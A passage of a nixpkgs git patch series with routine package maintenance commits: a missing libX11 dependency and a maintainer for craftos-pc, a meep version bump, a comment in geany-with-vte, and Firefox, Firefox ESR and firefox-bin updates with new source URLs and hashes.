+    mainProgram = "edmarketconnector";
+    maintainers = with lib.maintainers; [ jiriks74 ];
+  };
+})

From fda423856ed2875a80a1b7ee057c6fcd4b55a1cf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ond=C5=99ej=20Kvapil?= <git@viluon.me>
Date: Mon, 26 May 2025 19:38:14 +0200
Subject: [PATCH 0073/4511] craftos-pc: add missing dependency

(cherry picked from commit 9612a687810f32ec3457f6106f773a150e2a30c9)
---
 pkgs/by-name/cr/craftos-pc/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/cr/craftos-pc/package.nix b/pkgs/by-name/cr/craftos-pc/package.nix
index 24ea3494efcf..dd30359091d1 100644
--- a/pkgs/by-name/cr/craftos-pc/package.nix
+++ b/pkgs/by-name/cr/craftos-pc/package.nix
@@ -13,6 +13,7 @@
   libpng,
   pngpp,
   libwebp,
+  libX11,
 }:
 
 let
@@ -55,6 +56,7 @@ stdenv.mkDerivation rec {
     libpng
     pngpp
     libwebp
+    libX11
   ];
   strictDeps = true;
 

From 6399b83042d36c70d801dc831bd054b0e33a688d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ond=C5=99ej=20Kvapil?= <git@viluon.me>
Date: Mon, 26 May 2025 19:38:25 +0200
Subject: [PATCH 0074/4511] craftos-pc: add maintainer

(cherry picked from commit 89c37a0096ce980cfff77680f3a9526a22baaa9b)
---
 pkgs/by-name/cr/craftos-pc/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/cr/craftos-pc/package.nix b/pkgs/by-name/cr/craftos-pc/package.nix
index dd30359091d1..8d0843d074de 100644
--- a/pkgs/by-name/cr/craftos-pc/package.nix
+++ b/pkgs/by-name/cr/craftos-pc/package.nix
@@ -116,6 +116,7 @@ stdenv.mkDerivation rec {
     maintainers = with maintainers; [
       siraben
       tomodachi94
+      viluon
     ];
     mainProgram = "craftos";
   };

From 3f27ee2dacca9556cec7a24b9cb20a74cef1d531 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 24 May 2025 16:14:31 +0000
Subject: [PATCH 0075/4511] python3Packages.meep: 1.30.0 -> 1.30.1

(cherry picked from commit 802c794335c5de28f5b750100ba5235be001db02)
---
 pkgs/development/python-modules/meep/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/meep/default.nix b/pkgs/development/python-modules/meep/default.nix
index 3db5517dafeb..9e8fa1bafc82 100644
--- a/pkgs/development/python-modules/meep/default.nix
+++ b/pkgs/development/python-modules/meep/default.nix
@@ -35,13 +35,13 @@ assert !lapack.isILP64;
 
 buildPythonPackage rec {
   pname = "meep";
-  version = "1.30.0";
+  version = "1.30.1";
 
   src = fetchFromGitHub {
     owner = "NanoComp";
     repo = pname;
     tag = "v${version}";
-    hash = "sha256-9cQHvwUAeop5dRMVvedph+KQvTcmnkHdfqPQlSY280c=";
+    hash = "sha256-rXmOCkWm8SymhLiKNskSiS2bsHCmTlKMfLg5u3XniOk=";
   };
 
   format = "other";

From d2805172083141a6cf58b61c2bab072764133453 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 27 May 2025 11:46:40 +0800
Subject: [PATCH 0076/4511] geany-with-vte: add note about inheriting meta

(cherry picked from commit a2049762f2c0fea4067a019178d030b3113b3d1b)
---
 pkgs/applications/editors/geany/with-vte.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/applications/editors/geany/with-vte.nix b/pkgs/applications/editors/geany/with-vte.nix
index 30a7862e5c66..c2c9cf8b39af 100644
--- a/pkgs/applications/editors/geany/with-vte.nix
+++ b/pkgs/applications/editors/geany/with-vte.nix
@@ -25,6 +25,8 @@ symlinkJoin {
   '';
 
   meta = {
+    # can't just "inherit (geany) meta;" because:
+    # error: derivation '/nix/store/...-geany-with-vte-2.0.drv' does not have wanted outputs 'man'
     inherit (geany.meta)
       description
       longDescription

From 2cf36106243a48ddf89e73162e22aff42a153f98 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 26 May 2025 22:05:27 +0200
Subject: [PATCH 0077/4511] firefox-unwrapped: 138.0.4 -> 139.0

https://www.mozilla.org/en-US/firefox/139.0/releasenotes/
(cherry picked from commit 83d02af8b35fd69b8bc795a6aea942b1c8ce7015)
---
 .../browsers/firefox/139-relax-apple-sdk.patch      | 13 +++++++++++++
 .../networking/browsers/firefox/common.nix          |  6 ++++--
 .../browsers/firefox/packages/firefox.nix           |  4 ++--
 3 files changed, 19 insertions(+), 4 deletions(-)
 create mode 100644 pkgs/applications/networking/browsers/firefox/139-relax-apple-sdk.patch

diff --git a/pkgs/applications/networking/browsers/firefox/139-relax-apple-sdk.patch b/pkgs/applications/networking/browsers/firefox/139-relax-apple-sdk.patch
new file mode 100644
index 000000000000..3c7e1271889a
--- /dev/null
+++ b/pkgs/applications/networking/browsers/firefox/139-relax-apple-sdk.patch
@@ -0,0 +1,13 @@
+diff --git a/build/moz.configure/toolchain.configure b/build/moz.configure/toolchain.configure
+index 769ac0379045..160734dd386d 100644
+--- a/build/moz.configure/toolchain.configure
++++ b/build/moz.configure/toolchain.configure
+@@ -233,7 +233,7 @@ with only_when(host_is_osx | target_is_osx):
+     )
+ 
+     def mac_sdk_min_version():
+-        return "15.4"
++        return "15.2"
+ 
+     @depends(
+         "--with-macos-sdk",
diff --git a/pkgs/applications/networking/browsers/firefox/common.nix b/pkgs/applications/networking/browsers/firefox/common.nix
index 9799f2fcfb8c..965afea61031 100644
--- a/pkgs/applications/networking/browsers/firefox/common.nix
+++ b/pkgs/applications/networking/browsers/firefox/common.nix
@@ -310,12 +310,14 @@ buildStdenv.mkDerivation {
       ./no-buildconfig-ffx121.patch
     ]
     ++ lib.optionals (lib.versionAtLeast version "136") [ ./no-buildconfig-ffx136.patch ]
-    ++ [
+    ++ lib.optionals (lib.versionAtLeast version "139") [ ./139-relax-apple-sdk.patch ]
+    ++ lib.optionals (lib.versionOlder version "139") [
       # Fix for missing vector header on macOS
       # https://bugzilla.mozilla.org/show_bug.cgi?id=1959377
       # Fixed on Firefox 139
       ./firefox-mac-missing-vector-header.patch
-
+    ]
+    ++ lib.optionals (lib.versionOlder version "140") [
       # https://bugzilla.mozilla.org/show_bug.cgi?id=1962497
       # https://phabricator.services.mozilla.com/D246545
       # Fixed on Firefox 140
diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index 7e728b48ad45..df69a59f6c39 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "138.0.4";
+  version = "139.0";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "64d80456da8df27d7eeed7eb20c35fcf213bc948eb48739b6101e2c476ea9a9133da928477a79683c96c160f8d53bed52be487f01a8d29e38d39071f12676806";
+    sha512 = "84a2b47f2ff71aac226a774ab0ac9ab8d9a16f5620a06f7abb6648732209d022aef35a9d4873e91ebd67a4fc494fc238524e25c38fad8046db26afda06e6f970";
   };
 
   meta = {

From bc17c4fa27eee2033a5faec084b3a6934a13f872 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 26 May 2025 22:06:17 +0200
Subject: [PATCH 0078/4511] firefox-esr-128-unwrapped: 128.10.1esr ->
 128.11.0esr

https://www.mozilla.org/en-US/firefox/128.11.0/releasenotes/
(cherry picked from commit a91995a5a1f3da13d638a2a3454a6c79f90b5a14)
---
 .../networking/browsers/firefox/packages/firefox-esr-128.nix  | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
index 1d29c2244730..a3108e975762 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
@@ -9,11 +9,11 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "128.10.1esr";
+  version = "128.11.0esr";
   applicationName = "Firefox ESR";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "6e7363d8cbecda1cedaf534ac10dc046b5f515399ec754492357e8a558c61ee3389f7bb90aa929dbcb4d6eba041ae1e778a0a8f90aa1e1f939eea517333b6c45";
+    sha512 = "80af64c1dce6d7a25111480567a3251cc2d1edce00acc4d85bbaa44590f5bbf4c0716f9490c3ab8ef1e6fc2bbabb2379029c2dee51ce477933c7a5935092d279";
   };
 
   meta = {

From 4aa418b7d53063109fe09a1134e523bb30c36bed Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 26 May 2025 22:07:45 +0200
Subject: [PATCH 0079/4511] firefox-bin-unwrapped: 138.0.4 -> 139.0

https://www.mozilla.org/en-US/firefox/139.0/releasenotes/
(cherry picked from commit cc31b635a99fed0baf717b4e32a58c019af9ec71)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index 470b3fa414b2..55ddf57c0862 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "138.0.4";
+  version = "139.0";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ach/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ach/firefox-139.0.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "8a79f50942fa160efc366622cf668900eec76c0ff189b55df229034a9d028019";
+      sha256 = "23cd09ec62b0264cbc95484d168f1863e25b61e56628747e6e2c33bbbbc32917";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/af/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/af/firefox-139.0.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "9a2d9067e7e2a39b3a8283b8187872507a71eac80a7c193948d1f490f37c1eb0";
+      sha256 = "75c036fd772860241d895e35d9b30dda925a1fbfdf333ee68e895a09089c1de5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/an/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/an/firefox-139.0.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "494301f8a08bc0a0fdf20f9afbf539f7d3120803d8254d9561f317909bb4e7ee";
+      sha256 = "36a8830ee1eb8c1c0226a7e3960d3109d1e95398e2e48ad90c0c9179ffe48c45";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ar/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ar/firefox-139.0.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "8438a7b8403bd614b72567c1b72d7131696adea98c5294b2d8bb382a4ee4630e";
+      sha256 = "64535a16a72ba7ad18c0d69e52d8349eeff729e4337948a290e8fa80f512081c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ast/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ast/firefox-139.0.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "2b704fbc63c97546740146b5078239aa00d9f8f3fe92882ae25b4323d32e515c";
+      sha256 = "ea6ef3a07581ab0c3af52231c772c77911f5d02b6cc5d8f017e40ff9df00258a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/az/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/az/firefox-139.0.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "aec76622b41b2a6892ab4c0983a0fb96f7089d066810b2d6d8db2d92753a3dfe";
+      sha256 = "92f14c55e60de6fa954e35d1bcc30846e080d7be13f671a1288535728d9e4ef2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/be/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/be/firefox-139.0.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "bde73f3a3c8d4ab4abe1db3dccc5c30e39b0c4242282bec36047a358ac649789";
+      sha256 = "09487b3bef2479d5e4bcde2b858e6ede04b366cb7be1df722d243c186b071493";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/bg/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/bg/firefox-139.0.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "9294751c7aa8a25b268049f81d3adf33f59d4afe4ad5ce861afe54e9867ab58d";
+      sha256 = "9bd0c77be9e0310cefd89f9438fe895d455c6242c35963cfb592ff837221c13c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/bn/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/bn/firefox-139.0.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "fa0387eaba1377190a7a4e6b799b61050f5393d0dc850073edfb7e37bd3f7b50";
+      sha256 = "231be122e74e5ad1263a879127334033b888487e0d2d2ac67b854e946a13ef26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/br/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/br/firefox-139.0.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "e1676536b4ddebbfe75663c11877b4b6ed97c69fdcba31a66bf72a99e7f9212e";
+      sha256 = "d8788bb513967b9a47e381af6c63303cb7a642e9e47b2dff0d9e2f0f7f1c912c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/bs/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/bs/firefox-139.0.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "52ca6b8863b0d989dd867bd1f0ee6f72049d7226d714b14582f76aed2e9b16f2";
+      sha256 = "a631715732b16ef36dfdaca062a8e8a7e86a5f37d436a3fd4e3b7a39384756c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ca-valencia/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ca-valencia/firefox-139.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "dbb97403d04abd5710d31bdabeca16caca5327f6bd86a5afe2c1792f7db2e53a";
+      sha256 = "24816f5cec1597292a4e217a608150516c7c09e6af0523dea942d14edac6314e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ca/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ca/firefox-139.0.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "831d5e632fa66a0a2b2fa5e169bcdeee9fdfd68b68f89e85f3a582342d85a4c2";
+      sha256 = "17fec4ed5e2a0b53a40bbafa672c4a7fa63c1cda524a2cff3c609fd914bdf327";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/cak/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/cak/firefox-139.0.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "2273c9dfda2ef3cd8f98a86696bbe94dfb6242a047fc8b221e4a1c026d65892a";
+      sha256 = "b346bfcf32722c72e9df85255d9d11b11dc25051aefd7a80a6984a83f4a11941";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/cs/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/cs/firefox-139.0.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "2b62d55bd79f803274ce1c4b057c92ce11a74b2c91d3d125aef93bb740d677ef";
+      sha256 = "db5fb598821ec03b1112e4c5920167b48c174ae0f91f74cb06c55fbd2f92114c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/cy/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/cy/firefox-139.0.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "bb8d822fc92dc25d0cb3237550799a2cc79b798f31b78236c846a81bf5f28a95";
+      sha256 = "3be873bf2d25dee2cb8e6f86f4af597be597a8e4fbc2d0982e657670f01f97f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/da/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/da/firefox-139.0.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "f034afad97afa8a4fca00bd40e24951ba7d3ba39b781b3285b06fb22b4b2fb13";
+      sha256 = "8bd0fbf81e1070b8f321e8cae3186d1a46ef4e8ed7c657fe5449c3e8edcaf2ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/de/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/de/firefox-139.0.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "133440a87be3e0a914e431f511bf4affcd99246f731bfac8e72fa8afbad9182a";
+      sha256 = "07c1c7f2c26e104d0779072888a54ad27d3bd81b2a126d8307e01d4596f9e7e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/dsb/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/dsb/firefox-139.0.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "0c02797b683185a45f5108b5bf9e00838b3ea18b255725dd81257e579f9436f9";
+      sha256 = "3d9ad8f10efe2452ed1b091762f90b5ef3dd30a40a1beec4f2c8c841ba349378";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/el/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/el/firefox-139.0.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "cab1433d5d146c273466de601463ab607e4df026cea88d66e30279da8194afb2";
+      sha256 = "fb1edae5e61d8fa5b64041edb050cc6d02a1638f5c387ea319b09353955e96c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/en-CA/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/en-CA/firefox-139.0.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "ad573c3191be965a733162cf28134da2f702df5660a6fc66a27374a848887ab9";
+      sha256 = "4ee69c7fae9d5601a31a3396ead514b14a5284cf5ca60be67eca5e7ccc4a77b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/en-GB/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/en-GB/firefox-139.0.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "02aeccd3ee42da245fcedfa6cac2ca9ea90ff025a0ee12992a3ef8f2cd214ec7";
+      sha256 = "2ac5f940aed8efc0045f39ca95175e284e8cb984a7396b19f497a2aea2d1e448";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/en-US/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/en-US/firefox-139.0.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "c27d5bf7483eda49aae544d9f8b4f064dbc7341b27d7098378108e52071bf947";
+      sha256 = "1e3eab20cb84af1510b22e663438bd31ee1473652e10eb48661dcc6f1c0bbbe8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/eo/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/eo/firefox-139.0.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "f5d9735fc71b8336db3a9d7427b4ddf21143f6692fa73b40820bb15a87bd0182";
+      sha256 = "31ac94bce2736b13180cb4f88215e834d1c44da4eae010dcfb35aab8488bf191";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/es-AR/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/es-AR/firefox-139.0.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "fb16b058c74af3243358e046cffe5d43391f188962f86365a64477f71aa643b7";
+      sha256 = "9c14237bcac40713d967f16c9bf2a6b679760c94c9968d2f63264968ea46a8d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/es-CL/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/es-CL/firefox-139.0.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "cc53da23b4192b8b1b77f9ca0462ecd5aca3dfc5011d8a6ba433b2efbdb12252";
+      sha256 = "fe770b675c84745c06500c16e3e2cfa91a796bfc9bcf5aa50a24f751fda5d3d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/es-ES/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/es-ES/firefox-139.0.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "37122bc4e577f0e5b451cd63e55f88b62d33055d13bc298ad6efcafa21b91ba6";
+      sha256 = "d5e127a0aff0501b75dfd9bda616fb9e9229e58d37c168f11fd466dd12fa10d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/es-MX/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/es-MX/firefox-139.0.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "78da90a67ababdc71a01046e6e72a0aa20661962e054b2340c1ba7163daa437f";
+      sha256 = "1c8d5d4a1d656d33bb3763d64bea64459d98db07b5268749432612839a474e0e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/et/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/et/firefox-139.0.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "d2dd22adce2768e58f2565153814a9ae7c2d8d4343a88ab729336908dbb3f25d";
+      sha256 = "53710d2c5defd4efe9b1dc6b4fad727df8530ec3534c8cfb3bccc7d41667662d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/eu/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/eu/firefox-139.0.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "d1937bd1c41e49981f5ff5da77dca89d74cc404e03338310c9375bdcb2e92f79";
+      sha256 = "63b0caa1dcbea5cb27406f656c3cae519ca83f5257ca6b7c4eaa9350cd53a377";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/fa/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fa/firefox-139.0.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "82d63319db79eb68c1d4f93e0a8a2e6f67569cd881178de6466cd0b62dea96e4";
+      sha256 = "b9f8e391c7f3d8cf6db4cf7b0d72950fd6c327361de7bc7c9997d0f5b9beeb2e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ff/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ff/firefox-139.0.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "542dd6a9d43f2a7e1472a81804e01f338b4f21e9ddd14443915904ab689000dd";
+      sha256 = "ea38fe8a87c0656cc5b94c61dde0719eda2357eebc7c227ae3bb8d2ae2a81fa0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/fi/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fi/firefox-139.0.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "2419e379b9f4a4bf69f9a81b3f114c5e4bc8461ca423cba2f19dd936a35dfd88";
+      sha256 = "24e3836763d39eb5043b3186e774200c07a322ac7c61bc1a2605e411c7a17934";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/fr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fr/firefox-139.0.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "719d79a87cdd6dd716aa4ce1dc867e07eedd9b051fa28f500f1ba483dd5afb48";
+      sha256 = "227a88889ba71ab531422d4abc2707360bc04a2be94a35e05063602879ed2928";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/fur/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fur/firefox-139.0.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "ffe6655da019ed4d1e2c3fdcaff32370bfad8462d61343cc1c4ad7c37dac732d";
+      sha256 = "ed353ac9a84ad974132f15e9aaf3e561ce29bcf9a9000bfcd6a66d3a841e9b61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/fy-NL/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/fy-NL/firefox-139.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "22afd1d68ae9ec2ff6119930bfd0e36074f7f01e13ad096b0be4090113310e93";
+      sha256 = "d8b216e814271b23f84e31225059a0854f7f060cb8f64ba97838e8719c5d41ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/ga-IE/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ga-IE/firefox-139.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "7fa3186f0b4a632b6f4c410c938d85620e808c57e8997d955f1d88f755d76e4d";
+      sha256 = "5cd26f19d63a51fc3c9e633ba976888a33a7cd8edfaf3af65c7ae675b50d36c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/gd/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/gd/firefox-139.0.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "198f5e116e147ad882fc932cd549c2dff29cadd3c604768830716c18e2e25e79";
+      sha256 = "f91f3301f81bcc2bb09a3c6172f42f060fcd5f22026a9ead5497155bb1f3aa52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/gl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/gl/firefox-139.0.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "2a0617ed7e81ffa46e530d68197158f96b92391ad1ff85b7a50c36f84d9190fe";
+      sha256 = "7d75c84af9b6c269936c01387fc84676cb8d42bd9a4ef8f78fc3fcac7d9f4458";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/gn/firefox-138.0.4.tar.xz";
